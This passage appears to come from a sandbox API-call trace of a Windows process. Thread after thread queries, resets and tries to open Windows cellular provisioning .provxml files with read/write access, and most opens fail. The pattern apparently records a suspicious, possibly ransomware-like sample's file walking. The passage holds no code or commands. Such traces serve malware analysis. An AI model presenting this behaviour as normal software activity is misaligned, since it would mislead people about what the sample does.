(lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.634] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3238) returned 1 [0182.634] RtlExitUserThread (Status=0x0) Thread: id = 3257 os_tid = 0x3d8 [0182.429] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.631] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.631] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.631] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2f68) returned 1 [0182.631] RtlExitUserThread (Status=0x0) Thread: id = 3258 os_tid = 0x1318 [0182.430] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.630] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa30d0) returned 1 [0182.630] RtlExitUserThread (Status=0x0) Thread: id = 3259 os_tid = 0x131c [0182.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.629] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.629] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.629] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2860) returned 1 [0182.629] RtlExitUserThread (Status=0x0) Thread: id = 3260 os_tid = 0x1320 [0182.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.627] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.628] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.628] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.628] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d160) returned 1 [0182.628] RtlExitUserThread (Status=0x0) Thread: id = 3261 os_tid = 0x1324 [0182.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.626] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.626] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.627] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.627] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2158) returned 1 [0182.627] RtlExitUserThread (Status=0x0) Thread: id = 3262 os_tid = 0x10f4 [0182.432] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.625] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.625] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.625] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.625] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3508) returned 1 [0182.626] RtlExitUserThread (Status=0x0) Thread: id = 3263 os_tid = 0x10fc [0182.432] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01a20) returned 1 [0182.574] RtlExitUserThread (Status=0x0) Thread: id = 3264 os_tid = 0x1100 [0182.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.573] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.573] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.573] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f018d8) returned 1 [0182.573] RtlExitUserThread (Status=0x0) Thread: id = 3265 os_tid = 0x1104 [0182.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.572] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.572] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.572] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3940) returned 1 [0182.572] RtlExitUserThread (Status=0x0) Thread: id = 3266 os_tid = 0x1108 [0182.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3d78) returned 1 [0182.571] RtlExitUserThread (Status=0x0) Thread: id = 3267 os_tid = 0x110c [0182.434] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.624] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.624] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.624] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02088) returned 1 [0182.624] RtlExitUserThread (Status=0x0) Thread: id = 3268 os_tid = 0x1110 [0182.434] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.623] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.623] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.623] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054aa0) returned 1 [0182.623] RtlExitUserThread (Status=0x0) Thread: id = 3269 os_tid = 0x1114 [0182.435] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.621] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.621] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.621] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ea0) returned 1 [0182.621] RtlExitUserThread (Status=0x0) Thread: id = 3270 os_tid = 0x1328 [0182.436] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.620] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.620] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.620] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.620] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f025a8) returned 1 [0182.620] RtlExitUserThread (Status=0x0) Thread: id = 3271 os_tid = 0x132c [0182.436] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.619] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.619] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.619] SetFileAttributesW (lpFileName="C:\\Users\\All 